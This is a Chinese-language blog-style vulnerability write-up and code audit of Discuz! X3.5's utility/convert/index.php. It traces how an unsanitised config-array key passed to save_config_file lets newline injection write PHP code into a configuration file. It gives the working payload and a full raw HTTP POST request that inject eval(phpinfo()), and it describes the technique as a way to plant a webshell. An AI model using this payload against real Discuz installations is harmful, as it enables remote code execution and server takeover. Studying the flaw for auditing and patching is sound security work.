漏洞复现&代码审计之Discuz!x——3.5版本
一、环境准备
下载源码
https://gitee.com/Discuz/DiscuzX/attach_files
压缩包里面的utility也可以下载
二、审计
发现在
\Discuz_X3.5_SC_UTF8_20240520\X3.5_utility_20230210\convert\index.php
这个php文件里面有大量的文件包含
同时这个$action变量是可控的
其实就点击这个修改
php代码调试
用bp抓包
post请求其实就是
a=setting&source=d7.2_x1.0&submit=yes&newconfig[source][dbhost]=localhost&newconfig[source][dbuser]=root&newconfig[source][dbpw]=&newconfig[source][dbname]=discuz&newconfig[source][tablepre]=cdb_&newconfig[source][dbcharset]=&newconfig[source][pconnect]=1&newconfig[target][dbhost]=localhost&newconfig[target][dbuser]=root&newconfig[target][dbpw]=&newconfig[target][dbname]=discuzx&newconfig[target][tablepre]=pre_&newconfig[target][dbcharset]=&newconfig[target][pconnect]=1&submit=
我们把四个文件都看一次
do_source.inc.php
其实就是展示了首页
do_config.inc.php
这个就是点击“开始”选项就可以进入这个文件do_config.inc.php
发现了一个函数保存文件的,看文件名应该是原意是保存配置文件内容写入之类的,但是发现$newconfig参数可控,同时也是作为内容传入
于是就想到是否能够进行文件写入木马呢?
该函数的源码
function save_config_file($filename, $config, $default) {
$config = setdefault($config, $default);
$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
$year = date('Y');
$content = <<<EOT
<?php
\$_config = array();
EOT;
$content .= getvars(array('_config' => $config));
$content .= "\r\n// ".str_pad(' THE END ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
file_put_contents($filename, $content);
}
由于$config就是$newconfig的值经过setdefault方法后传入的,
所以这个content是可控的。
它调用了setdefault方法
function setdefault($var, $default) {
foreach ($default as $k => $v) {
if(!isset($var[$k])) {
$var[$k] = $default[$k];
} elseif(is_array($v)) {
$var[$k] = setdefault($var[$k], $default[$k]);
}
}
return $var;
}
$default是config.default.php中的键值对传入的,其实原意就是按照默认的模板来进行键值对赋值
config.default.php文件
那么不就是取键值对的意思吗?
其实就是$config=$newconfig+config.default.php文件中对应项的补充
而post传参是:
a=config&source=d7.2_x1.0&submit=yes&newconfig[source][dbhost]=localhost&newconfig[source][dbuser]=root&newconfig[source][dbpw]=&newconfig[source][dbname]=discuz&newconfig[source][tablepre]=cdb_&newconfig[source][dbcharset]=&newconfig[source][pconnect]=1&newconfig[target][dbhost]=localhost&newconfig[target][dbuser]=root&newconfig[target][dbpw]=&newconfig[target][dbname]=discuzx&newconfig[target][tablepre]=pre_&newconfig[target][dbcharset]=&newconfig[target][pconnect]=1&submit=
而且在do_config.inc.php文件中有下面这些代码
if(submitcheck()) {
$newconfig = getgpc('newconfig');
if(is_array($newconfig)) {
$checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
foreach ($checkarray as $key) {
if(!empty($newconfig[$key]['dbhost'])) {
$check = mysql_connect_test($newconfig[$key], $key);
if($check < 0) {
$error[$key] = lang('mysql_connect_error_'.abs($check));
}
} else {
$error[$key] = lang('mysql_config_error');
}
}
save_config_file($configfile, $newconfig, $config_default);
if(empty($error)) {
$db_target = new db_mysql($newconfig['target']);
$db_target->connect();
delete_process('all');
showmessage('config_success', 'index.php?a=select&source='.$source);
}
}
}
这个if其实就是校验了是否为post传参,同时是否有submit
function submitcheck($var = 'submit', $allowget = false) {
$check = getgpc($var);
$ret = false;
if(empty($check)) {
} elseif($allowget) {
$ret = true;
} elseif($_REQUEST['method'] == 'post') {
$ret = true;
}
return $ret;
}
那么我们只要是post传参,同时有submit就进入这个if
接着他还判断$newconfig是否为数组
中间红框这段可以不用理会,其实就是数据库配置之类的,不会影响走入save_config_file函数
由于save_config_file函数后面调用一个getvars函数
这里的$key其实就是我们传入newconfig[key]=shushu的键key如果我们加入了eval等恶意字符那么就可以成功写马
由于调用getvars传入的是一个数组array('_config' => $config)所以一定回走到is_array($val)里面然后调用buildarray方法
function getvars($data, $type = 'VAR') {
$evaluate = '';
foreach($data as $key => $val) {
if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
continue;
}
if(is_array($val)) {
$evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
} else {
$val = addcslashes($val, '\'\\');
$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
}
}
return $evaluate;
}
function buildarray($array, $level = 0, $pre = '$_config') {
static $ks;
if($level == 0) {
$ks = array();
$return = '';
}
foreach ($array as $key => $val) {
if(!preg_match("/^[a-zA-Z0-9_\x7f-\xff]+$/", $key)) {
continue;
}
if($level == 0) {
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
$return .= "\r\n// $newline //\r\n";
}
$ks[$level] = $ks[$level - 1]."['$key']";
if(is_array($val)) {
$ks[$level] = $ks[$level - 1]."['$key']";
$return .= buildarray($val, $level + 1, $pre);
} else {
$val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val;
$return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n";
}
}
return $return;
}
这个getvars还调用了一个buildarray函数,其实也就是键值对取值而已
传入buildarray函数其实就是传了一个数组
然后就是走到了
if($level == 0) {
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
$return .= "\r\n// $newline //\r\n";
}
这里这个str_pad函数原本是作为分隔符的
比如说是
'------- CONFIG EXAMPLE -------'
红框圈住的内容:
但是由于这个$key是可控的,那么就会导致我们用换行符号换行,然后用注释符号注释掉后门的内容防止报错,中间就可以写入我们的恶意代码了
最后就是$config=$newconfig+config.default.php文件中对应项的补充
$content .= getvars(array('_config' => $config));
$content .= "\r\n// ".str_pad(' THE END ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
file_put_contents($filename, $content);
最后通过控制$config的值来达到写入恶意字符,
但是好像并没有对key变量的恶意字符进行检测
三、验证
那么我们的payload变成
post传参
a=config&source=d7.2_x1.5&submit=yes&newconfig[%0a%0deval(phpinfo());//]=shushu
发包
POST /utility/convert/index.php HTTP/1.1
Host: discuz.com:65533
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
a=config&source=d7.2_x1.5&submit=yes&newconfig[%0a%0deval(phpinfo());//]=shushu
成功写入
最后成功写入
四、小结
\utility\convert\index.php文件下的action可以调用./include/do_config.inc.php
然后调用了里面的save_config_file方法写入文件。